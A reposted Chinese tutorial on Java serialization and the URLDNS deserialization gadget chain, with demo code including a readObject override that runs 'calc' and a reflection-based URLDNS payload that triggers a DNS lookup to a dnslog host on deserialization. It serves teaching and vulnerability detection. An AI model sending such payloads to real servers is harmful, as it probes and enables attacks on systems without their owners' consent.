Java原生序列化与反序列化、URLDNS

news2025/1/13 13:55:36

配套课件地址:https://blog.csdn.net/mocas_wang/article/details/10762101

1. 概述

1.1 序列化与反序列化

   序列化是指把Java代码转化为字节序列的过程;而反序列化时指把字节序列恢复为Java对象的过程。
   序列化分为两大部分:序列化和反序列化。序列化是这个过程的第一部分,将数据分解成字节流,以便存储在文件中或在网络上传输。反序列化就是打开字节流并重构对象。对象序列化不仅要将基本数据类型转换成字节表示,有时还要恢复数据。恢复数据要求有恢复数据的对象实例。

1.2 为什么要序列化与反序列化

   我们知道,当两个进程进行远程通信时,可以相互发送各种类型的数据,包括文本、图片、音频、视频等, 而这些数据都会以二进制序列的形式在网络上传送。那么当两个Java进程进行通信时,能否实现进程间的对象传送呢?答案是可以的。如何做到呢?这就需要Java序列化与反序列化了。换句话说,一方面,发送方需要把这个Java对象转换为字节序列,然后在网络上传送;另一方面,接收方需要从字节序列中恢复出Java对象。

   当我们明晰了为什么需要Java序列化和反序列化后,我们很自然地会想Java序列化的好处。其好处一是实现了数据的持久化,通过序列化可以把数据永久地保存到硬盘上(通常存放在文件里),二是,利用序列化实现远程通信,即在网络上传送对象的字节序列。

① 想把内存中的对象保存到一个文件中或者数据库中时候;
② 想用套接字在网络上传送对象的时候;
③ 想通过RMI传输对象的时候;

   一些应用场景,涉及到将对象转化成二进制,序列化保证了能够成功读取到保存的对象。

1.3 几种常见的序列化和反序列化协议

  • XML&SOAP

     XML 是一种常用的序列化和反序列化协议,具有跨机器,跨语言等优点。
     SOAP(Simple Object Access protocol) 是一种被广泛应用的,基于 XML 为序列化和反序列化协议的结构化消息传递协议。
    
  • JSON(Javascript Object Notation)

  • Protobuf

2. 序列化反序列化代码演示

package com.baidu.demo2;

import java.io.Serializable;

public class Person implements Serializable {

    private String name;
    private String age;

    public Person(String name, String age) {
        this.name = name;
        this.age = age;
    }

    public Person(){

    }

    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }

    public String getAge() {
        return age;
    }

    public void setAge(String age) {
        this.age = age;
    }

    @Override
    public String toString() {
        return "Person{" +
                "name='" + name + '\'' +
                ", age='" + age + '\'' +
                '}';
    }
}

package com.baidu.demo2;

import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;

public class Serialize {
	
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("output.ser"));
        oos.writeObject(obj);
    }


    public static void main(String[] args) throws IOException {

        Person person = new Person("zhangsan","十八");
    	//序列化
        serialize(person);

    }
}

package com.baidu.demo2;

import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;

public class Unserialize {

    public static Object unserialize(String filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
        Object o = ois.readObject();
        return o;
    }


    public static void main(String[] args) throws IOException, ClassNotFoundException {
        Person unserializeobj = (Person)unserialize("output.ser");
        System.out.println(unserializeobj);

    }
}

从文件中读取反序列化数据
image.png

3. 序列化实现

3.1 Serializable接口的基本使用

   通过 ObjectOutputStream 将需要序列化数据写入到流中,因为 Java IO 是一种装饰者模式,因此可以通过 ObjectOutStream 包装 FileOutStream 将数据写入到文件中或者包装 ByteArrayOutStream 将数据写入到内存中。同理,可以通过 ObjectInputStream 将数据从磁盘 FileInputStream 或者内存 ByteArrayInputStream 读取出来然后转化为指定的对象即可。

image.png

3.2 Serializable接口特点

  1. 序列化类的属性没有实现 Serializable 那么在序列化就会报错。
    具体可以跟进 ObjectOutputStream#writeObject() 源码查看具体原因:
    Exception in thread “main” java.io.NotSerializableException: com.example.seriable.Color
    image.png

  2. 在反序列化过程中,它的父类如果没有实现序列化接口,那么将需要提供无参构造函数来重新创建对象。
    Cat是子类,Animal 是父类,Animal它没有实现 Serilizable 接口。

package com.baidu.demo3;

import java.io.Serializable;

public class Cat extends Animal implements Serializable {

    private String name;

    public Cat(){
        System.out.println("Cat 无参数构造器调用。");
    }

    public Cat(String color, String name) {
        super(color);
        this.name = name;
        System.out.println("Cat 有参数构造器调用");
    }

    @Override
    public String toString() {
        return "Cat{" +
                "name='" + name + '\'' + super.toString() + '\'' +
                '}';
    }
}

package com.baidu.demo3;

import java.io.Serializable;

public class Animal {
    private String color;

    public Animal() {//没有无参构造将会报错
        System.out.println("调用 Animal 无参构造方法");
    }

    public Animal(String color) {
        this.color = color;

        System.out.println("调用 Animal 有 color 参数的构造方法");
    }

    @Override
    public String toString() {
        return "Animal{" +
                "color='" + color + '\'' +
                '}';
    }
}
package com.baidu.demo3;

import java.io.*;

public class TestMain {
    private static final String FILE_PATH = ".\\super.bin";

    public static void main(String[] args) throws Exception {
        serialize();
        unserialze();
    }

    public static void serialize() throws IOException {
        Cat cat = new Cat("red","Tom");
        System.out.println("[*]序列化前:" + cat.toString());
        System.out.println("[*]开始序列化......");
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(FILE_PATH));
        oos.writeObject(cat);
        oos.flush();
        oos.close();

    }

    public static void unserialze() throws Exception {
        System.out.println("[*]开始反序列化.....");
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(FILE_PATH));
        Cat ccc = (Cat)ois.readObject();
        ois.close();
        System.out.println("[*]反序列化后Cat对象:" + ccc);

    }
}

无法获取到父类color的值。
image.png
如果Animal父类也实现了反序列化接口。
image.png
那么在反序列化的时候将不会调用父类的无参构造方法。
image.png

  1. 一个实现 Serializable 接口的子类也是可以被序列化的。
    如图,子类未实现Serializable,父类实现了Serializable,子类可以被反序列化。
    image.png

  2. 静态成员变量是不能被序列化.
    序列化是针对对象属性的,而静态成员变量是属于类的。

  3. transient 标识的对象成员变量不参与序列化
    image.png

4. Java反序列化基础

  • 理解序列化和反序列化

    类比快递打包拆包,主要的形式有:原生、xml、json,有一些快递打包和拆包有特殊需求,如易碎品朝上。类比重写 writeObject 和 readObject。

  • 为什么会产生反序列化漏洞

    只要服务端反序列化数据,客户端传递类的 readObject 种代码会自动执行,给于攻击者在服务器上运行代码的能力。
    
  • 反序列化漏洞表现形式

  1. 入口类的 readObject 直接调用危险方法。

  2. 入口类参数中包含可控类,该类有危险方法,readObject 时调用。

  3. 入口类参数种包含可控类,该类调用其他有危险方法的类,readObject 时调用。

    比如定义类型为 Object,调用 equals/hashcode/toString。(重点:相同类型、同名函数、不停调用)

  4. 构造函数/静态代码快 static{} 等类加载时隐式执行。

  • 反序列化链条件

所有类都需要实现 Serializable。
入口类(source):重写 readObject;参数类型宽泛 ;最好 jdk 自带;
调用链(gadget chain)
执行类(sink):rce、ssrf、文件写入…

4.1 java反序列化可能的形式

4.1.1 重写readObject、writeObject方法

   jdk特性,如果在类中重写了readObject、writeObject方法,系统不会调用默认的readObject、writeObject方法,而是会调用重写之后的方法。这种情况比较少见,一般不会写这么危险的类。

一个例子:

package com.baidu.serializable;


import java.io.Serializable;

public class Cat implements Serializable {

    private String name;

    public Cat(){
        System.out.println("Cat 无参数构造器调用。");
    }

    public Cat(String name) {
        this.name = name;
        System.out.println("Cat 有参数构造器调用");
    }

    @Override
    public String toString() {
        return "Cat{" +
                "name='" + name + '\'' +
                '}';
    }

    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }
    //这里重写了readObject方法
    private void readObject(java.io.ObjectInputStream s)
            throws java.io.IOException, ClassNotFoundException {
        s.defaultReadObject();
        Runtime.getRuntime().exec("calc");
    }


}
package com.baidu.serializable;

import java.io.*;

public class TestMain {
    private static final String FILE_PATH = ".\\super.bin";
    public static void serialize() throws IOException {
        Cat cat = new Cat("Tom");
        System.out.println("[*]序列化前:" + cat.toString());
        System.out.println("[*]开始序列化......");
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(FILE_PATH));
        oos.writeObject(cat);
        oos.flush();
        oos.close();

    }
    public static void unserialze() throws Exception {
        System.out.println("[*]开始反序列化.....");
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(FILE_PATH));
        Cat ccc = (Cat)ois.readObject();  //调用反序列化方法。
        ois.close();
        System.out.println("[*]反序列化后Cat对象:" + ccc);

    }

    public static void main(String[] args) throws Exception {
        serialize();
        unserialze();
    }
}

image.png

4.1.2 入口类参数中包含可控类,该类有危险方法,readObject时调用

共同条件:HashMap类和URL类都实现了Serializable
>入口类source(重写readObject、调用常见函数(hashCode、equals等)、参数类型宽泛、最好jdk自带)

Map<object,object>(接口)
    HashMap或hashTable(接口实现类)

以HashMap为例去讲解,HashMap是Map接口的实现类,满足了重写readObject()、参数类型宽泛、jdk自带等条件。
image.png
找利用链的时候有类重写了hashCode()、equals()、toString()方法(这些都是Object类的方法),并且方法里有一些潜在的危险函数,且这个类被反序列化了,该类就可能是一个利用链上的类。

>调用链 gadget chain (相同名称,相同类型,不停调用 ???)
相同名称:HashMap和URL中都有hashCode()
**>执行类 sink(rce、ssrf、写文件等等) **

4.1.3 入口类参数中包含可控类,该类又调用其他有危险方法的类,readObject时调用

如上,套娃。

5. URLDNS链

   如果服务器上存在一个反序列化的点/漏洞,我们把URLDNS的序列化数据传进去,我们就会收到一个DNSLOG请求,代表服务器存在反序列化漏洞。

反序列化Gadget Chain:(移花接木)
HashMap.readObject()
HashMap.putVal()
HashMap.hash() -> hash()调用hashCode(),因为传入对象是URL,所以调用URL.hashCode() ->
URL.hashCode() -> 调用getHostAddress()方法,发起DNSLOG请求。
对于URLDNS链来说,入口类是HashMap,执行类是URL。

目前遇到问题:
URLDNS链在序列化的时候就会触发DNSLOG请求,因为这里hashcode是-1,这段代码会触发dnslog请求。
image.png
if(hashCode != -1)条件不满足,执行handler.hashCode(this)方法,序列化时触发dnslog。
image.png

package com.baidu.serializable;

import java.io.*;
import java.net.URL;
import java.util.HashMap;

public class TestMain {
    private static final String FILE_PATH = ".\\super.bin";
    public static void serialize() throws IOException {
        HashMap<URL,Integer> hashmap = new HashMap<URL,Integer>();
        //这里不要发起请求
        hashmap.put(new URL("http://62n11u.dnslog.cn"),1); //因为这里hashcode是-1,这段代码会触发dnslog请求
        //这里把hashcode改为-1,通过反射修改已有对象属性。


        System.out.println("[*]序列化前:" + cat.toString());
        System.out.println("[*]开始序列化......");
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(FILE_PATH));
        oos.writeObject(hashmap);
        oos.flush();
        oos.close();

    }
    public static void unserialze() throws Exception {
        System.out.println("[*]开始反序列化.....");
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(FILE_PATH));
        Cat ccc = (Cat)ois.readObject();
        ois.close();
        System.out.println("[*]反序列化后Cat对象:" + ccc);

    }

    public static void main(String[] args) throws Exception {
        serialize();
        //unserialze();


    }
}

通过反射修改,实现序列化时不触发dnslog,反序列化触发dnslog。

package com.baidu.serializable;

import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;

public class TestMain {
    private static final String FILE_PATH = ".\\super.bin";
    
    //序列化过程
    public static void serialize() throws IOException, NoSuchFieldException, IllegalAccessException {
        HashMap<URL,Integer> hashmap = new HashMap<URL,Integer>();

        URL url = new URL("http://e4mvgk.dnslog.cn");
        //这里不要发起请求,将hashCode默认-1改为其他值,如果是-1则会触发URL.hashCode()方法发起dnslog请求。
        Class<? extends URL> c = url.getClass();
        Field hashCodeField = c.getDeclaredField("hashCode");//hashCode变量是私有的,private,所以需要Declared
        hashCodeField.setAccessible(true);
        hashCodeField.set(url,1234);
        hashmap.put(url,1); //把 url 放到 hashmap 里。
        
        hashCodeField.set(url,-1);//这里把hashcode改为-1,通过反射修改已有对象属性。
        
        System.out.println("[*]开始序列化......");
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(FILE_PATH));
        oos.writeObject(hashmap);
        oos.flush();
        oos.close();
    }
    
    //反序列化过程
    public static void unserialze() throws Exception {
        System.out.println("[*]开始反序列化.....");
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(FILE_PATH));
        ois.readObject();
        ois.close();

    }

    public static void main(String[] args) throws Exception {
        serialize();
        unserialze();


    }
}

image.png
效果:
image.png

URLDNS序列化具体执行过程:
去掉反射代码的话,就是做了一个把url对象put进hashmap中的操作。

        HashMap<URL,Integer> hashmap = new HashMap<URL,Integer>();

        URL url = new URL("http://e4mvgk.dnslog.cn");
        //这里不要发起请求,将hashCode默认-1改为其他值,如果是-1则会触发URL.hashCode()方法发起dnslog请求。
        // Class<? extends URL> c = url.getClass();
        // Field hashCodeField = c.getDeclaredField("hashCode");//hashCode变量是私有的,private,所以需要Declared
        // hashCodeField.setAccessible(true);
        // hashCodeField.set(url,1234);
        hashmap.put(url,1);
        // //这里把hashcode改为-1,通过反射修改已有对象属性。
        // hashCodeField.set(url,-1);
        System.out.println("[*]开始序列化......");
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(FILE_PATH));
        oos.writeObject(hashmap);
        oos.flush();
        oos.close();

对于hashmap.put(url,1);会发起dnslog请求详细解释:
put方法调用了putVal(url,1)把url对象存了进去。
url对象进入hash()方法
image.png
hash()方法接收了url对象参数
image.png
正常来讲,这里调用了URL.hashCode() 后面会执行dnslog,所以我们需要在这里调用反射把hashCode的值改掉,这样在下面这个图里hashCode的值设置为了不等于-1,就不会执行后面的handler.hashCode(this)了,也就不会触发dnslog。
image.png
image.png
image.png

URLDNS反序列化利用链具体执行过程:

反序列化Gadget ChainHashMap.readObject()
    HashMap.putVal()
        HashMap.hash()
            URL.hashCode() 
                URLStreamHandler.hashCode(URL) -> getHostAddress(URL)
                 触发类(URLStreamHandler)			请求dnslog

1、调用入口类HashMap.readObject()
image.png
2、HashMap.readObject()调用HashMap.putVal()。
image.png
3、HashMap.putVal()调用HashMap.hash()。
image.png
4、HashMap.hash()调用URL.hashCode()
因为传入的Object对象是URL,所以直接调用了不同类的同名函数URL.hashCode()。
image.png
5、URL.hashCode() -> handler.hashCode(this) ->getHostAddress(u)
image.png
image.png

小总结

  1. 对于URLDNS链来说,入口类是HashMap,执行类是URL。
  2. 因为在序列化的时候hashmap对象调用put方法会把hashCode变量值为-1,会触发执行类URL的DNSLOG请求方法,所以在put前需要调用反射将hashCode变量值改为其他值,hashcode.put(url,1)执行完之后再将hashCode变量值改为-1,只有值为-1才可触发URL类中的dnslog请求方法。
  3. 对URLDNS链来说,不同类的同名函数是hashCode()。

参考:白日梦组长

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1968543.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

mindspore框架实现ckpt模型导出ONNX格式

mindspore框架保存及加载模型 详细流程&#xff1a;昇思-保存及加载模型 关键步骤 关键代码 from mindspore import export, load_checkpoint, load_param_into_net from mindspore import Tensor import numpy as np from MobileNet2GarbageCls.MobileNetv2 import *# 有…

第二证券:商业航天概念再活跃,航天晨光5连板,航新科技等涨停

商业航天概念1日盘中再度活跃&#xff0c;到发稿&#xff0c;航新科技、春晖智控“20cm”涨停&#xff0c;航天雄图涨超10%&#xff0c;航天长峰、航天晨光、星网宇达、航天科技、航天展开等均涨停&#xff0c;航宇微涨近10%。 值得注意的是&#xff0c;航天晨光已接连5个交易…

如何对同一个项目,不同分支,开两个IDEA窗口?

问题&#xff1a;有次我想参考&#xff08;fu zhi&#xff09;某个分支的代码&#xff0c;来写代码&#xff0c;但是打开双击项目的pom文件&#xff0c;会自动打开现在的IDEA窗口&#xff0c;如下&#xff1a; 解决&#xff1a;后面我用Open的方式打开&#xff0c;也是一样的。…

免费【2024】springboot 大棚蔬菜管理系统的设计与实现

博主介绍&#xff1a;✌CSDN新星计划导师、Java领域优质创作者、掘金/华为云/阿里云/InfoQ等平台优质作者、专注于Java技术领域和学生毕业项目实战,高校老师/讲师/同行前辈交流✌ 技术范围&#xff1a;SpringBoot、Vue、SSM、HTML、Jsp、PHP、Nodejs、Python、爬虫、数据可视化…

【漏洞复现】万户 ezOFFICE协同管理平台 getAutoCode SQL注入

文章目录 0x00 漏洞描述影响范围 0x01 测绘工具0x02 漏洞复现0x03 Nuclei检测脚本0x04 修复建议0x05 免责声明 0x00 漏洞描述 万户OA ezofice是万户网络协同办公产品多年来一直将主要精力致力于中高端市场的一款OA协同办公软件产品&#xff0c;统一的基础管理平台,实现用户数据…

Thread-Caching Malloc 简介

文章目录 Google的tcmalloc&#xff08;Thread-Caching Malloc&#xff09;简介主要特点工作原理应用场景安装与配置 总结 &#x1f396; 博主的CSDN主页&#xff1a;Ryan.Alaskan Malamute &#x1f4dc; 博主的代码仓库主页 [ Gitee ]&#xff1a;ryanala [GitHub]&…

第十三章 数据质量

本章重点内容&#xff1a; 1.重要的数据先开始处理 2.要知道PDCA&#xff08;计划-执行-检查-行动&#xff09; 3.知道数据质量的评估维度 4.进行根因分析以找出数据质量问题的根源 5.数据质量报告 1. 概述 与数据治理和整体数据管理一样&#xff0c;数据质量管理不是一个…

031-GeoGebra中级篇-GeoGebra的布尔值

在 GeoGebra 中&#xff0c;布尔值和条件判断是实现动态数学模型和交互式几何图形的重要工具。布尔值&#xff0c;即逻辑值&#xff0c;只有两个可能的取值&#xff1a;真&#xff08;True&#xff09;或假&#xff08;False&#xff09;。通过使用布尔值&#xff0c;我们可以创…

css揭秘-学习小结

0 引言-编码技巧 尽量用相对单位&#xff0c;比如字体大小和行高&#xff0c;如果是绝对值每次两个都要改&#xff0c;如果是相对值则只要改一个。 0.1 代码易维护和代码量不可兼得 为一个元素添加宽10px的边框&#xff0c;左侧不带边框&#xff0c;有两种方案 border-widt…

中科大保卫处招聘要求硕士学历:考研还有用吗?

希望同学们在看到类似这样的新闻或者热搜的时候&#xff0c;首先要明白很多事情都存在“幸存者偏差”。 我们不能“管中窥豹”&#xff0c;用特例去认识整体&#xff0c;当然&#xff0c;特例的出现或者存在也是有一定道理的&#xff0c;我们也不能完全忽视特例的存在。 所以…

QPieSeries-饼状图

void Widget::initWindowQPie() {//[1] 创建饼图QPieSeries* pSeries new QPieSeries();pSeries->append("苹果", 15);pSeries->append("西瓜", 30);pSeries->append("香蕉", 10);pSeries->append("葡萄", 25);pSeries-&…

文件解析漏洞—IIS解析漏洞—IIS6.X

目录 方式 1&#xff1a;目录解析 方式 2&#xff1a;畸形文件解析 方式 3&#xff1a;PUT 上传漏洞&#xff08;123.asp;.jpg 解析成 asp&#xff09; 环境&#xff1a;Windows server 2003 添加 IIS 管理工具——打开 IIS——添加网站 创建完成之后&#xff0c;右击创建的…

2024年音频剪辑必备:五大最佳音频编辑软件精选!

在数字时代&#xff0c;音频剪辑已成为创意表达的重要工具。无论是音乐制作、播客编辑还是视频后期&#xff0c;一款优秀的音频剪辑软件都是不可或缺的。推荐五款备受推崇的音频剪辑工具。 福昕音频剪辑 链接&#xff1a;https://www.foxitsoftware.cn/audio-clip/ 福昕音频…

arasan CAN2.0 CAN FD user guide详解

1. 引言 1.1 概览 Arasan 的 Controller Area Network - Flexible Data (CAN-FD) 控制器 IP 实现了 CAN 2.0A、CAN 2.0B 以及高性能 CAN-FD (Flexible Data Rate) 协议。它符合非 ISO CAN-FD 由 Bosch 提出的标准以及 ISO11898-1:2015 DIS 标准。它可以集成到需要 CAN 连接性…

IDEA切换分支,会影响当前在跑的项目吗?

说明&#xff1a;本文测试&#xff0c;在IDEA中运行项目&#xff0c;然后切换分支&#xff0c;是否会影响当前正在跑的项目 准备工作 首先&#xff0c;创建一个Git项目&#xff0c;接口如下&#xff1a; import org.springframework.web.bind.annotation.GetMapping; import…

【网络安全】副业兼职日入12k,网安人不接私活就太可惜了!

暑假来了&#xff0c;很多同学后台私信我求做兼职的路子&#xff0c;这里&#xff0c;我整理了一份详细攻略&#xff0c;请大家务必查收&#xff0c;这可能会帮你把几个学期的生活费都赚够&#xff01; Up刚工作就开始做挖漏洞兼职&#xff0c;最高一次赚了12k&#xff0c;后面…

bootcamp和虚拟机哪个更好 bootcamp和虚拟机的性能差距 MacBook装双系统和虚拟机有什么区别

在当今数字化时代&#xff0c;对于部分使用Mac电脑的用户来说&#xff0c;选择如何在Mac系统中运行Windows或其他操作系统能节省大量精力。双系统&#xff08;Boot Camp或其他多引导方案&#xff09;和虚拟机是两种常见的方法。 一、Boot Camp&#xff08;启动转换助手&#xf…

订单状态统计业务

文章目录 概要整体架构流程技术细节小结 概要 订单状态统计是电子商务、供应链管理、客户服务等多个领域中的一项核心业务需求. 需求分析以及接口设计 技术细节 1.Controller层: ApiOperation("各个状态的订单统计")GetMapping("/statistics")public Re…

step:菜单栏静态加载和动态加载

文章目录 文章介绍静态加载动态加载补充材料 文章介绍 对比静态加载和动态加载。 主界面main.qml之前使用的是动态加载&#xff0c;动态加载导致的问题&#xff1a;菜单栏选择界面切换时&#xff0c;之前的界面内容被清空。 修改方法&#xff1a;将动态加载改为静态加载 左边是…

什么?陶瓷也可以用来存储数据了?

现在是一个数据指数增长的时代&#xff0c;根据IDC数据预测&#xff0c;2025年全世界将产生175ZB的数据。 这里面大部分数据是不需要存储的&#xff0c;在2025预计每年需要存储11ZB的数据。换算个容易理解的说法&#xff0c;1ZB是10^18Bytes, 相当于要写5556万块容量18TB的硬盘…